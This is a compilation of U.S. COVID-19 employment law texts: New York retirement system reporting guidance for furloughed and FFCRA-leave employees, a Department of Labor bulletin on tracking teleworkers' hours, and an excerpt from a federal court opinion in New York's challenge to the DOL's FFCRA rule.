Members who wish to keep making payments while on furlough may also make direct payments on their loan balances to NYSLRS at any time. Retirement Online provides a convenient way to make such payments.

Please contact NYSLRS if you have questions about loan deferments.

Members who are furloughed
Furloughed employees who are not working and are not being paid by their employer, should not be reported to NYSLRS. When a furloughed member returns to work, begin reporting their salary and service to NYSLRS once again.

Members who are being paid or on paid leave
When a member is being paid, whether for work performed or through use of leave accruals (including the COVID-19 related leave provided for by the Families First Coronavirus Response Act and Emergency Family and Medical Leave Expansion Act), they must continue to be reported to NYSLRS as you normally would.

Here is furlough-related information you can share with your employees.

Reporting instructions for employers using Retirement Online enhanced reporting
When an employee is on an unpaid furlough, use the HR Transaction to inform NYSLRS of the break in service. Use the Leave of Absence (LOA) code and effective date to indicate that the employee is not currently working and receiving pay. When they return to work, use the HR Transaction Return from Leave (RFL) code and effective date to inform NYSLRS that the employee is working again, and resume reporting their days and earnings.

When an employee is working a reduced schedule, please report the employee with the reduced number of hours. For example, if an employee usually works an eight hour day and is now working half-time, report four hours of regular earnings and .5 days per day worked.

When an employee is not working but is still being paid due to a COVID-19 leave code, continue to report their earnings on your monthly report and submit their regular service credit amount prior to furlough.
Reporting members under Families First Coronavirus Response Act and Emergency Family and Medical Leave Expansion Act Reporting

**Families First Coronavirus Response Act** — Under the Families First Coronavirus Response Act (FFCRA), an employee is entitled to additional paid emergency sick time. Eligibility for FFCRA is determined by the employer. Certain public employers and private employers with less than 500 employees must follow the provisions of FFCRA. FFCRA provides that employers must provide two weeks (up to 80 hours) of paid sick leave to eligible employees who are impacted by COVID-19. In order to be eligible for this additional paid sick leave, the employee must be unable to work/telecommute for one of the reasons as described in FFCRA. The employer determines the amount of wages an employee is eligible to receive under FFCRA.

**How members are reported under FFCRA** — Members using FFCRA are reported at the amount paid under FFCRA. Any time the member is not being paid by the participating employer, the employee is not reported to NYSLRS.

If the employee is taking the FFCRA leave for the following reasons they should be reported at their regular service credit amount:

1. The employee is subject to a Federal, State, or local quarantine or isolation order related to COVID-19;
2. The employee has been advised by a health care provider to self-quarantine related to COVID-19;
3. The employee is experiencing COVID-19 symptoms and is seeking a medical diagnosis;

If the employee is taking the FFCRA leave for the following reasons they should be reported at an amount equivalent to 2/3 service credit:

4. The employee is caring for an individual subject to an order described in (1) or self-quarantine as described in (2);
5. The employee is caring for a child whose school or place of care is closed (or child care provider is unavailable) for reasons related to COVID-19; or
6. The employee is experiencing any other substantially-similar condition specified by the Secretary of Health and Human Services, in consultation with the Secretaries of Labor and Treasury. (HHS has yet to define “other substantially similar condition.”)
Emergency Family and Medical Leave Expansion Act — If an employer determines that an employee is eligible for leave under the Emergency Family and Medical Leave Expansion Act (EFMLEA) because they need to care for their child whose school or place of care is closed (or child care provider is unavailable) for reasons related to COVID-19, and the employee is receiving up to two-thirds of their pay, you will report the wages they are paid and two-thirds of their regular service credit. For any time the member is not being paid by the participating employer, the employee is not reported to NYSLRS.
August 24, 2020

FIELD ASSISTANCE BULLETIN No. 2020-5

MEMORANDUM FOR: Regional Administrators
Deputy Regional Administrators
Directors of Enforcement
District Directors

FROM: Cheryl M. Stanton
Administrator

SUBJECT: Employers’ obligation to exercise reasonable diligence in tracking teleworking employees’ hours of work.

This Field Assistance Bulletin (FAB) provides guidance regarding employers’ obligation under the Fair Labor Standards Act (FLSA or Act) to track the number of hours of compensable work performed by employees who are teleworking or otherwise working remotely away from any worksite or premises controlled by their employers. In a telework or remote work arrangement, the question of the employer’s obligation to track hours actually worked for which the employee was not scheduled may often arise. While this guidance responds directly to needs created by new telework or remote work arrangements that arose in response to COVID-19, it also applies to other telework or remote work arrangements.

An employer is required to pay its employees for all hours worked, including work not requested but suffered or permitted, including work performed at home. See 29 C.F.R. § 785.11-12. If the employer knows or has reason to believe that work is being performed, the time must be counted as hours worked. An employer may have actual or constructive knowledge of additional unscheduled hours worked by their employees, and courts consider whether the employer should have acquired knowledge of such hours worked through reasonable diligence. See Allen v. City of Chicago, 865 F.3d 936, 945 (7th Cir. 2017), cert. denied, 138 S. Ct. 1302 (2018). One way an employer may exercise such diligence is by providing a reasonable reporting procedure for non-scheduled time and then compensating employees for all reported hours of work, even hours not requested by the employer. Id. If an employee fails to report unscheduled hours worked through such a procedure, the employer is not required to undergo impractical efforts to investigate further to uncover unreported hours of work and provide compensation for those hours. Id. However, an employer’s time reporting process will not constitute reasonable diligence where the employer either prevents or discourages an employee from accurately reporting the time he or she has worked, and an employee may not waive his or her rights to compensation under the Act. Id. at 939; see also Craig v. Bridges Bros. Trucking LLC, 823 F.3d 382, 388 (6th Cir. 2016).
Background

The FLSA generally requires employers to compensate their employees for all hours worked, including overtime hours. As the Department’s interpretive rules explain, “[w]ork not requested but suffered or permitted is work time” that must be compensated. 29 C.F.R. § 785.11. This principle applies equally to work performed away from the employer’s worksite or premises, such as telework performed at the employee’s home. Id. § 785.12. “If the employer knows or has reason to believe that the work is being performed, he must count the time as hours worked.” Id. Employers are required to exercise control to ensure that work is not performed that they do not wish to be performed. Id. § 785.13.

While it may be easy to define what an employer actually knows, it may not always be clear when an employer “has reason to believe that work is being performed,” particularly when employees telework or otherwise work remotely at locations that the employer does not control or monitor. This confusion may be exacerbated by the increasing frequency of telework and remote work arrangements since the Department issued the above interpretive rules in 1961. The Bureau of Labor Statistics estimated in 2019 that roughly 24 percent of working Americans performed some work at home on an average day (https://www.bls.gov/news.release/atus.t06.htm). And these arrangements have expanded even further in 2020 in response to the COVID-19 pandemic. Accordingly, WHD believes it is appropriate to clarify this issue.

Employer Must Pay for All Hours Worked that it Knows or Has Reason to Believe Was Performed

The FLSA requires an employer to “exercise its control and see that the work is not performed if it does not want it to be performed.” 29 C.F.R. § 785.13. The employer bears the burden of preventing work when it is not desired, and “[t]he mere promulgation of a rule against such work is not enough. Management has the power to enforce the rule and must make every effort to do so.” Id.; see Hellmers v. Town of Vestal, N.Y., 969 F. Supp. 837, 845 (N.D.N.Y. 1997). Work that an employer did not request but nonetheless “suffered or permitted” is therefore compensable. Id. § 785.11; see also 29 U.S.C. § 203(g). “Employers must, as a result, pay for all work they know about, even if they did not ask for the work, even if they did not want the work

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1 The phrase “must make every effort” in 29 C.F.R. § 785.13, however, does not mean that the “duty of the management to exercise its control” to prevent unwanted work is unlimited. Hellmers, 969 F. Supp. at 845-46 (“However, the duty [under 29 C.F.R. § 785.13] is not unlimited[,] … The question then is whether an employer’s inquiry was reasonable in light of the circumstances surrounding the employer’s business, including existing overtime policies and requirements.”); see also Chao v. Gotham Registry, Inc., 514 F.3d 280, 291 (2d Cir. 2008) (explaining that “the law does not require [an employer] to follow any particular course to forestall unwanted work, but instead to adopt all possible measures to achieve the desired result”).

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done, and even if they had a rule against doing the work.” *Allen v. City of Chicago*, 865 F.3d 936, 938 (7th Cir. 2017) (citations omitted).

“However, the FLSA stops short of requiring the employer to pay for work it did not know about, and had no reason to know about.” *Kellar v. Summit Seating Inc.*, 664 F.3d 169, 177 (7th Cir. 2011) (emphasis added). Thus, the employer’s obligation under 29 C.F.R. § 785.13 to “make every effort” to prevent unwanted work being performed away from the employer’s worksite or premises is not boundless. This is because an employer cannot make any effort—let alone every effort—to prevent unwanted work unless “the employer knows or has reason to believe the work is being performed.” 29 C.F.R. § 785.12.

An employer’s obligation to compensate employees for hours worked can therefore be based on actual knowledge or constructive knowledge of that work. For telework and remote work employees, the employer has actual knowledge of the employees’ regularly scheduled hours; it may also have actual knowledge of hours worked through employee reports or other notifications. The FLSA’s standard for constructive knowledge in the overtime context is whether an employer has reason to believe work is being performed. See id. An employer may have constructive knowledge of additional unscheduled hours worked by their employees if the employer should have acquired knowledge of such hours through reasonable diligence. *Allen*, 865 F.3d at 945; *Hertz*, 566 F.3d at 782. Importantly, “[t]he reasonable diligence standard asks what the employer should have known, not what ‘it could have known.’” *Allen*, 865 F.3d at 943 (quoting *Hertz*, 566 F.3d at 782). One way an employer generally may satisfy its obligation to exercise reasonable diligence to acquire knowledge regarding employees’ unscheduled hours of work is “by establishing a reasonable process for an employee to report uncompensated work time.” *Id.* at 938. But the employer cannot implicitly or overtly discourage or impede accurate reporting, and the employer must compensate employees for all reported hours of work. *Id.* at 939 (“[A]n employer’s formal policy or process for reporting overtime will not protect the employer if the employer prevents or discourages accurate reporting in practice.”); see also *Craig*, 823 F.3d at 390 (reversing summary judgment in part because employee had miscalculated the applicable hourly rate owed, and emphasizing that an employee may not waive his or her rights under the FLSA).

However, if an employee fails to report unscheduled hours worked through such a procedure, the employer is generally not required to investigate further to uncover unreported hours. *Allen*, 865 F.3d at 938. Though an employer may have access to non-payroll records of employees’ activities, such as records showing employees accessing their work-issued electronic devices outside of reported hours, reasonable diligence generally does not require the employer to undertake impractical efforts such as sorting through this information to determine whether its employees worked hours beyond what they reported. See, e.g., *Id.* at 945 (affirming that the district court reasonably found that employer did not need to cross-reference “phone records or

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2 Additionally, if an employer is otherwise notified of work performed through a reasonable method, or if employees are not properly instructed on using a reporting system, then an employer may be liable for those hours worked. *Allen*, 865 F.3d. at 946 n.5 (“One can certainly argue that an employer has not created a reasonable reporting system—has not been reasonably diligent—if its employees do not know when to use that system.”).
supervisors’ knowledge of overtime to ensure that its employees were reporting their time correctly”); *Hertz*, 566 F.3d at 782 (“It would not be reasonable to require that the County weed through non-payroll CAD records to determine whether or not its employees were working beyond their scheduled hours.”); *Newton v. City of Henderson*, 47 F.3d 746, 749 (5th Cir. 1995) (“We hold that as a matter of law such ‘access’ to information [regarding activities performed by plaintiff] does not constitute constructive knowledge that Newton was working overtime.”).

“When the employee fails to follow reasonable time reporting procedures [he or] she prevents the employer from knowing its obligation to compensate the employee.” *White v. Baptist Memorial Health Care Corp.*, 699 F.3d 869, 876 (6th Cir. 2012). Moreover, where an employee does not make use of a reasonable reporting system to report unscheduled hours of work, the employer is thwarted from preventing the work to the extent it is unwanted, if the employer is not otherwise notified of the work and is not preventing employees from using the system. *Id.* at 877. And the employer could not have “suffered or permitted” work it did not know and had no reason to believe was being performed. *See* 29 C.F.R. §§ 785.11–.12. Accordingly, failure to compensate an employee for unreported hours that the employer did not know about, nor had reason to believe was being performed, does not violate the FLSA. *Id.; see also Forrester v. Roth’s I. G. A. Foodliner, Inc.*, 646 F.2d 413, 414 (9th Cir. 1981) (“[W]here an employer has no knowledge that an employee is engaging in overtime work and that employee fails to notify the employer …, the employer’s failure to pay for the overtime hours is not a [FLSA] violation.”).

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3 This is not to say that consultation of records outside of the employer’s timekeeping procedure may never be relevant. Depending on the circumstances it could be practical for the employer to consult such records. If so, those records would form the basis of constructive knowledge of hours worked. *Hertz*, 566 F.3d at 782 (“We do not foreclose the possibility that another case may lend itself to a finding that access to records would provide constructive knowledge of unpaid overtime work.”); *see also Craig*, 823 F.3d at 392 (“Some cases may lend themselves to a finding that access to records would provide constructive knowledge of unpaid overtime work, but that is not a foregone conclusion.”)
J. PAUL OETKEN, District Judge:

The ongoing COVID-19 pandemic has visited unforeseen and drastic hardship upon American workers. In response to this extraordinary challenge, Congress passed the Families First Coronavirus Response Act, which, broadly speaking, entitles employees who are unable to work due to COVID-19’s myriad effects to federally subsidized paid leave. Congress charged the Department of Labor (“DOL”) with administering the statute, and the agency promulgated a Final Rule implementing the law’s provisions. See 85 Fed. Reg. 19,326 (Apr. 6, 2020) (“Final Rule”).

The State of New York brings this suit under the Administrative Procedure Act, claiming that several features of DOL’s Final Rule exceed the agency’s authority under the statute. The parties have cross-moved for summary judgment, and DOL has moved to dismiss for lack of standing. For the reasons that follow, the Court concludes that New York has standing to sue and that several features of the Final Rule are invalid. New York’s motion for summary judgment is therefore granted in substantial part, as explained below.

I. Background

“COVID-19 [is] a novel severe acute respiratory illness that has killed . . . more than 1[5]0,000 nationwide” to date. South Bay United Pentecostal Church v. Newsom, 140 S. Ct.
1613, 1613 (2020) (Mem.) (Roberts, C.J., concurring in denial of application for injunctive relief); see also Centers for Disease Control and Prevention, Coronavirus Disease 2019: Cases and Deaths in the U.S., https://www.cdc.gov/coronavirus/2019-ncov/cases-updates/us-cases-deaths.html (last visited Aug. 1, 2020). “At this time, there is no known cure, no effective treatment, and no vaccine. Because people may be infected but asymptomatic, they may unwittingly infect others.” South Bay United Pentecostal Church, 140 S. Ct. at 1613.

Accordingly, social-distancing measures have been taken nationwide, by state and local governments and by civil society, to stem the spread of the virus. The impact on American workers is multifold, as both the infection itself and the public-health response have been dramatically disruptive to daily life and work.

The legislation at the heart of this litigation, the Families First Coronavirus Response Act, is one of several measures Congress has taken to provide relief to American workers and to promote public health. See Pub. L. No. 116-127, 134 State. 178 (Mar. 18, 2020) (“FFCRA”). Broadly speaking, and as relevant here, the FFCRA obligates employers to offer sick leave and emergency family leave to employees who are unable to work because of the pandemic. By granting the employers a corresponding, offsetting tax credit, Congress subsidizes these benefits, though the employers front the costs.

This litigation involves two major provisions of that law: the Emergency Family and Medical Leave Expansion Act (“EFMLEA”) and the Emergency Paid Sick Leave Act (“EPSLA”).

A. Emergency Family and Medical Leave Expansion Act

As its name suggests, the EFMLEA entitles employees who are unable to work because they must care for a dependent child due to COVID-19 to paid leave for a term of several
weeks. See FFCRA §§ 3102(a)(2); 3102(b). Formally, it is an amendment to the Family and Medical Leave Act (“FMLA”), 29 U.S.C. § 2601 et seq. Congress ultimately foots the bill for these benefits, by way of a tax credit to the employer or self-employed individual. See FFCRA §§ 7003(a), 7004(a).

An employer of “an employee who is a health care provider or emergency responder may elect to exclude such employee” from the benefits provided by the EFMLEA. See FFCRA § 3105. The FMLA defines “health care provider” as “a doctor of medicine or osteopathy who is authorized to practice medicine or surgery (as appropriate),” or “any other person determined by the Secretary to be capable of providing health care services.” 29 U.S.C. § 2611(6)(B).

B. Emergency Paid Sick Leave Act

The EPSLA requires covered employers to provide paid sick leave2 to employees with one of six qualifying COVID-19-related conditions. See FFCRA §§ 5102, 5110(2). The conditions include that the employee: (1) “is subject to a Federal, State, or local quarantine or isolation order related to COVID-19”; (2) “has been advised by a health care provider to self-quarantine due to concerns related to COVID-19”; (3) “is experiencing symptoms of COVID-19 and seeking a medical diagnosis”; (4) “is caring for an individual subject” to a quarantine or isolation order by the government or a healthcare provider; (5) is caring for a child whose school or place of care is closed, or whose childcare provider is unavailable, because of COVID-19; or (6) “is experiencing any other substantially similar condition specified by the Secretary of Health

1 The first ten days for which an employee of a covered employer takes emergency family leave under the EFMLEA may be unpaid, but after ten days, employees are entitled to job-protected emergency family leave at two-thirds of their regular wages for another ten weeks. See FFCRA § 3102(b) (adding FMLA § 110(b)(2)).

2 The EPSLA entitles full-time employees to 80 hours — or roughly two weeks — of job-protected paid sick leave. Id. §§ 5102(b)(2)(A), 5104(1).
and Human Services in consultation with the Secretary of the Treasury and the Secretary of Labor.” *Id.* § 5102(a). In parallel to the EFMLEA’s exemption for healthcare providers, under the EPSLA, an employer may deny leave to an employee with a qualifying condition if the employee “is a health care provider or an emergency responder.” *Id.* The statute specifies that “health care provider” has the same meaning given that term in the FMLA. *Id.* § 5110(4) (citing 29 U.S.C. § 2611). And the Secretary of Labor “may issue regulations to exclude certain health care providers and emergency responders from the definition of employee.” *Id.* § 5111(1). As it does under the EFMLEA, the federal government ultimately covers the cost of the benefits through a tax credit to employers. FFCRA §§ 7001(a), 7002.

C. The Department of Labor’s Final Rule

On April 1, 2020, DOL promulgated its Final Rule implementing the FFCRA.³ As explained in greater detail below, the present challenge relates to four features of that regulation: its so-called “work-availability” requirement; its definition of “health care provider”; its provisions relating to intermittent leave; and its documentation requirements. Broadly speaking, New York argues that each of these provisions unduly restricts paid leave.

On April 14, 2020, New York filed this suit and simultaneously moved for summary judgment. (See Dkt. No. 1.) On April 28, 2020, DOL cross-moved for summary judgment and moved to dismiss for lack of standing. (See Dkt. No. 24.) Those motions are now fully briefed, and the Court has received the brief of amici curiae Service Employees International and 1199SEIU, United Healthcare Workers East in support of New York.⁴ (See Dkt. No. 31.) The Court heard oral argument on May 12, 2020.

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³ The Rule was promulgated without notice-and-comment procedures, pursuant to a statutory designation of good cause under the APA. See FFCRA §§ 501(a)(3), 5111.

⁴ The unions’ motion to file their amicus brief is granted. (See Dkt. No. 31.)
II. Legal Standard

Summary judgment is appropriate when “there is no genuine dispute as to any material fact and the movant is entitled to judgment as a matter of law.” Fed. R. Civ. P. 56(a). When “a party seeks review of agency action under the APA, the ‘entire case on review is a question of law,’ such that ‘judicial review of agency action is often accomplished by filing cross-motions for summary judgment.’” Just Bagels Mfg., Inc. v. Mayorkas, 900 F. Supp. 2d 363, 372 (S.D.N.Y. 2012) (alteration and citation omitted). Sitting as an “appellate tribunal,” the district court must “decid[e], as a matter of law, whether the agency action is . . . consistent with the APA standard of review.” Zevallos v. Obama, 10 F. Supp. 3d 111, 117 (D.D.C. 2014) (quoting Kadi v. Geithner, 42 F. Supp. 3d 1, 9 (D.D.C. 2012)), aff’d, 793 F.3d 106 (D.C. Cir. 2015).

III. Discussion

A. Standing

The Court’s analysis begins with its jurisdiction, specifically the State of New York’s standing to sue. Though DOL styled its objection to New York’s standing as a motion to dismiss pursuant to Rule 12(b)(1), “each element [of standing] must be supported in the same way as any other matter on which the plaintiff bears the burden of proof, i.e., with the manner and degree of evidence required at the successive stages of the litigation.” Lujan v. Defenders of Wildlife, 504 U.S. 555, 561 (1992). New York has moved for summary judgment on its claims, and it bears the burden of proof at trial to show its own standing. Irrespective of DOL’s labeling, then, New York must demonstrate, through “affidavit or other evidence,” id. at 561, that there exists no genuine dispute of material fact that it has standing, as it must do with respect to every element of its claim to obtain summary judgment.

To establish its constitutional standing, New York must demonstrate (1) an injury in fact . . . [that is] concrete and particularized [and] actual or imminent, not conjectural or
hypothetical,” (2) that the injury is “fairly traceable to the challenged action,” and (3) that it is “likely . . . that the injury will be redressed by a favorable decision.” *Lujan*, 504 U.S. at 560 (internal alterations, quotation marks, and citations omitted). All three components of standing — injury-in-fact, causation, and redressability — are contested here.

In the context of state standing, courts generally recognize three types of constitutionally cognizable injuries. First, like a private entity, a state may suffer a direct, proprietary injury, for example, a monetary injury. *See New York v. Mnuchin*, 408 F. Supp. 3d 399, 408 (S.D.N.Y. 2019). Second, a state may suffer an injury to its so-called “quasi-sovereign interests.” *Alfred L. Snapp & Son, Inc. v. Puerto Rico ex rel. Barez*, 458 U.S. 592, 607 (1982). Though the universe of “quasi-sovereign interests” has never been comprehensively defined, it is understood to encompass both “the health and well-being — [physical and economic] — of its residents in general,” as well as the state’s interest in “not being discriminatorily denied its rightful status within the federal system.” *Id.* When a state sues to vindicate its quasi-sovereign interests, it is said to be suing in its *parens patriae* capacity. *Id.* (The third type of injury, which is not at issue in this case, is an injury to a sovereign interest, such as “the power to create and enforce a legal code,” *id.*, or those implicated in the “adjudication of boundary disputes or water rights,” *Connecticut v. Cahill*, 217 F.3d 93, 97 (2d Cir. 2000).) Importantly, these categories (proprietary, quasi-sovereign, and sovereign) are not hermetically sealed from one another, and a single act may injure a state in more than one respect.

New York claims that the Final Rule’s challenged features, which either limit paid leave or burden its exercise, impose both proprietary and quasi-sovereign injuries on the state. (*See* Dkt. No. 27 at 3–13.) Without paid leave, New York argues, employees must choose between taking unpaid leave and going to work even when sick. (*See* Dkt. No. 27 at 7–13.) Some
employees will elect the former, the State predicts, diminishing their taxable income and therefore the State’s tax revenue. (See Dkt. No. 27 at 11–13.) Some will choose the latter, escalating the spread of the virus and thereby raising the State’s healthcare costs. (See Dkt. No. 27 at 7–10.) And overall, the bind employees are left in will result in greater reliance on various state-administered programs, increasing the State’s administrative burden. (See Dkt. No. 27 at 10–11.)

These predictions are supported by New York’s record evidence, which consists of declarations from public-health and policy experts opining, based on empirical studies, that when paid leave is diminished, fewer sick employees take leave, transmission of flu-like diseases rises, and more employees take unpaid leave. (See Dkt. No. 26, Ex. 1, ¶ 17; Dkt. No. 26, Ex. 4 ¶ 12.) Indeed, the Final Rule itself is grounded in an acknowledgement that a dearth of paid leave will result in employees’ being “forced to choose between their paychecks and the individual and public health measures necessary to combat COVID-19.” Final Rule at 19,335. The evidence also suggests that the predictable consequence of the Final Rule will be less taxable income for the state, because both regular wages and paid leave benefits are taxable income, but unpaid leave generates no taxable income. (See Dkt. No. 26, Ex. 3.) Because “[a] state’s ‘loss of specific tax revenues’ is a ‘direct [proprietary] injury’ capable of supporting standing,” New York may sue to vindicate this “[e]xpected financial loss.” New York, 408 F. Supp. 3d at 409 (quoting Wyoming v. Oklahoma, 502 U.S. 437, 448 (1992)) (emphasis added).

DOL complains that New York’s evidence is insufficient because at summary judgment, the State is required to show “empirical” evidence quantifying these effects “in minimally concrete numbers and terms.” (Dkt. No. 30 at 5.) But no precedent requires the Court to disregard non-quantitative evidence, or to demand specific numerical projections. To the
contrary, because even “an identifiable trifle” suffices to demonstrate standing, United States v. Students Challenging Regulatory Agency Procedures (SCRAP), 412 U.S. 669, 689 n.14 (1973), all New York must show is that it will be injured, not the magnitude of its injury. Indeed, the very out-of-circuit precedent cited by DOL eschews any notion that the specific amount of the financial loss, rather than the mere fact of it, must be shown to demonstrate standing. See Massachusetts v. U.S. Dep’t of Health and Human Servs., 923 F.3d 209, 226 (1st Cir. 2019) (“The Departments’ attack on the accuracy of the numbers provided by the Commonwealth misses the point: the Commonwealth need not be exactly correct in its numerical estimates in order to demonstrate an imminent fiscal harm.”); id. (“Whether costs to the Commonwealth are above or below this [estimate], they are not zero.”) In urging that New York’s injury is not sufficiently “concretized,” DOL confuses a qualitatively concrete harm, which the standing precedents require, with a quantitatively concrete harm, which has no special constitutional significance.

Nor is the causal chain between the challenged action and the predicted harm too attenuated. The chain consists of few links, none of which DOL can seriously contest: Restricting eligibility and increasing administrative burdens for paid leave will reduce the number of employees receiving paid leave; some employees who need leave will therefore take unpaid leave;5 their income will decrease, shrinking the state’s income tax base. Despite the federal government’s characterization, this is hardly an argument “that actions taken by United States Government agencies [will] injure[] a State’s economy and thereby cause[] a decline in general tax revenues.” Wyoming, 502 U.S. at 448. To the contrary, it is the specific and

5 The Court need not and does not address the alleged diminution in the State’s sales tax revenue, which admittedly rests on a more attenuated causal chain.
imminently threatened diminution of an identifiable source of tax revenue. And by the same token, New York’s injury will be redressed by a favorable ruling. See Carpenters Indus. Council v. Zinke, 854 F.3d 1, 6 n.1 (D.C. Cir. 2017) (Kavanaugh, J.) (“Causation and redressability typically overlap as two sides of a causation coin . . . . [I]f a government action causes an injury, enjoining the action usually will redress that injury.” (citation and internal quotation marks omitted)).

Because the threatened injury to New York’s tax revenue is sufficient to support standing, the Court need not address the state’s alternative theories of standing, namely, the potential burden on its healthcare system or the injury to its quasi-sovereign interests.6

6 Though the Court does not reach New York’s argument regarding parens patriae standing, a few words are in order about that theory. By invoking its parens patriae standing, New York invites the Court to enter something of a legal thicket. It is well established that an injury to a State’s quasi-sovereign interest fulfills Article III’s requirement that a State suffer an injury-in-fact. See Alfred L. Snapp & Son, Inc., 458 U.S. at 607. But the courts have also long recognized that generally, at least in constitutional cases, a State may not invoke its parens patriae standing against the federal government, because, the traditional justification goes, “[i]n that field, it is the United States, and not the State, which represents them as parens patriae.” Massachusetts v. Mellon, 262 U.S. 447, 486 (1923). This common-law limitation is known as the “Mellon bar,” named for the almost hundred-year-old case in which it was first articulated. See id.

The success of New York’s parens patriae argument turns on a fundamental but arguably unresolved doctrinal question about the Mellon bar: Does Mellon apply in suits, like this one, brought by a state to enforce a statute rather than the Constitution? See Connecticut v. U.S. Dep’t of Commerce, 204 F.3d 413, 415 n.2 (2d Cir. 2000) (declining to address question). The traditional justification for the judge-made limitation would seem to hold no water in that context, because “[t]he prerogative of the federal government to represent the interests of its citizens . . . is not endangered so long as Congress has the power of conferring or withholding” the statutory right. Maryland People’s Counsel v. FERC, 760 F.2d 318, 320 (D.C. Cir. 1985) (Scalia, J.).

New York contends that the Supreme Court’s decision in Massachusetts v. EPA definitively resolves this doctrinal question in favor of a state’s parens patriae standing in statutory actions. (See Dkt. No. 27 at 3–5; see also 549 U.S. 497 (2007).) The Massachusetts majority’s discussion of parens patriae standing is not a paragon of clarity, but that case aside, sound arguments nonetheless still seem to support the conclusion that the Mellon bar does not prohibit suits in which Congress has conferred a statutory cause of action upon a state. There is
no serious question that a quasi-sovereign injury satisfies the “irreducible minimum” of Article III standing; “[o]therwise the numerous cases allowing parens patriae standing in suits not involving the federal government would be inexplicable.” Maryland People’s Counsel, 760 F.2d at 321. Moreover, as noted at the outset, the traditional justification for the Mellon bar is seemingly inapt in the context of claims involving statutory rights. And the imposition of a judge-made, prudential bar to suit when there exists a constitutional case or controversy and Congress has endowed the litigant with a statutory cause of action is seemingly incongruous with the modern recognition that “a federal court’s obligation to hear and decide” cases within its jurisdiction “is virtually unflagging,” see Lexmark Int’l, Inc. v. Static Control Components, Inc., 572 U.S. 118, 128 & n.4 (2014) (internal quotation marks and citation omitted), as well as with basic separation-of-powers principles.

The relevant question, then, would seem to be not whether the state has constitutional standing to bring a suit in its parens patriae capacity (it does, if it has suffered a quasi-sovereign injury), but rather whether the state has statutory standing. Or, to use modern parlance, the relevant question is whether the state’s congressionally conferred cause of action is capacious enough to support a parens patriae suit. See Lexmark, 572 U.S. at 128 n.4 (2014) (explaining that “prudential standing” is really a question of a litigant’s cause of action). Indeed, even Defendants accept the conclusion that if Congress has furnished a cause of action to New York for this kind of suit, the Mellon bar has no application. (See Dkt. No. 25 at 13.) That conclusion squares with the Second Circuit’s approach in parens patriae cases involving private defendants, which distinguishes between the question of constitutional injury to a quasi-sovereign interest and statutory standing to bring a parens patriae action. See Connecticut v. Physicians Health Servs. of Connecticut, Inc., 287 F.3d 110, 120 (2d Cir. 2002). The touchstone, then, is congressional intent.

The D.C. Circuit, which DOL invokes repeatedly, takes just such an approach. That court has long recognized “that the courts must dispense with [the Mellon bar] if Congress so provides.” Maryland People’s Counsel, 760 F.2d at 321; see also Gov’t of Manitoba v. Bernhardt, 923 F.3d 173, 181 (D.C. Cir. 2019) (“Because the Mellon bar is prudential, we have held that the Congress may by statute authorize a State to sue the federal government in its parens patriae capacity.”). And though a recent D.C. Circuit opinion, heavily relied upon by the federal government here, held that the general cause of action in the APA did not alone evince an intent to authorize parens patriae suits by states against the federal government, it withheld judgment on the forfeited argument that the underlying statute forming the basis of the action (in that case, the National Environmental Policy Act) did so. Id. n.4. In short, the D.C. Circuit did not adopt a bright-line rule that APA suits can never be brought in a state’s parens patriae capacity, but rather indicated that the question may turn on congressional intent as expressed in the underlying statute that the litigant claims was violated. That the inquiry might turn on the underlying statute is consistent with direct-injury cases under the APA, where the question of “statutory standing” (i.e., the cause of action) also turns on “the statutory provision whose violation forms the legal basis for his complaint.” Air Courier Conference of Am. v. Am. Postal Workers Union AFL-CIO, 498 U.S. 517, 523 (1991) (internal quotation marks and citation omitted).
Having determined that the State possesses standing based on its proprietary injury to its tax revenue, the Court proceeds to the merits.

**B. The Work-Availability Requirement**

New York’s first challenge goes to a fundamental feature of the regulatory scheme, the work-availability requirement. By way of reminder, the EPSLA grants paid leave to employees who are “unable to work (or telework) due to a need for leave because” of any of six COVID-19-related criteria. FFCRA § 5102(a). The EFMLEA similarly applies to employees “unable to work (or telework) due to a need for leave to care for . . . [a child] due to a public health emergency.” FFCRA § 101(a)(2)(A). The Final Rule implementing each of these provisions, however, excludes from these benefits employees whose employers “do[] not have work” for them. See Final Rule at 19,349–50 (§§ 826.20(a)(2), (6), (9), (b)(1)).

The limitation is hugely consequential for the employees and employers covered by the FFCRA, because the COVID-19 crisis has occasioned the temporary shutdown and slowdown of countless businesses nationwide, causing in turn a decrease in work immediately available for employees who otherwise remain formally employed. The work-availability requirement may therefore greatly affect the breadth of the statutory leave entitlements.

The question posed to the Court is whether the work-availability requirement is consistent with the FFCRA. But before turning to that central issue, the Court must address the

That understanding has considerable virtues: it harmonizes parens patriae cases with modern standing doctrine, and it confines the Mellon doctrine to its justifiable limits. Neither party here, however, has briefed the question of precisely how this Court should discern such congressional intent — for example, whether the normal zone-of-interests test for statutory standing under the APA applies, or whether, in parens patriae suits against the federal government, federalism concerns require something more searching. And ultimately, the State’s direct, proprietary injury is sufficient to confer constitutional standing, and the federal government has not disputed that the State possesses a right of action to vindicate that injury. The Court therefore need not decide these thorny academic issues.
antecedent question of the work-availability requirement’s scope. Specifically, in the context of the EPSLA, the express language of the Final Rule applies the work-availability requirement to only three of the six qualifying conditions. See Final Rule at 19,349–50 (§ 826.20(a)(2), (6), (9).) DOL nonetheless urges the Court to superimpose the requirement onto the three remaining conditions. In its view, the statute’s language compels the work-availability requirement, and therefore, the Final Rule must be interpreted to apply it to each of the six enumerated circumstances. (See Dkt. No. 30 at 8.)

Even if DOL’s statutory premise were correct, however, its conclusion would not follow. No canon of regulatory interpretation requires this Court to adopt a saving construction of the Final Rule, or to interpret it so as to avoid conflict with the statute. To the contrary, the Court must interpret the Final Rule based on its “text, structure, history, and purpose.” *Kisor v. Wilkie*, 139 S. Ct. 2400, 2415 (2019). In arguing that the regulation must be interpreted consistent with the statute, even if such an interpretation is contrary to the regulation’s unambiguous terms, DOL puts the proverbial cart before the horse.⁷

This Court therefore undertakes anew the task of interpreting the Final Rule, and in so doing, concludes that its terms are clear: The work-availability requirement applies only to three

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⁷ The doctrine of *Auer* or *Seminole Rock* deference is of no help to DOL here. Just last term, the Supreme Court made clear that “convenient litigating positions” are not entitled to such deference, *Kisor*, 139 S. Ct. at 2417, and DOL has not explained how the interpretation advanced before this Court is anything more than a newly articulated litigating position.

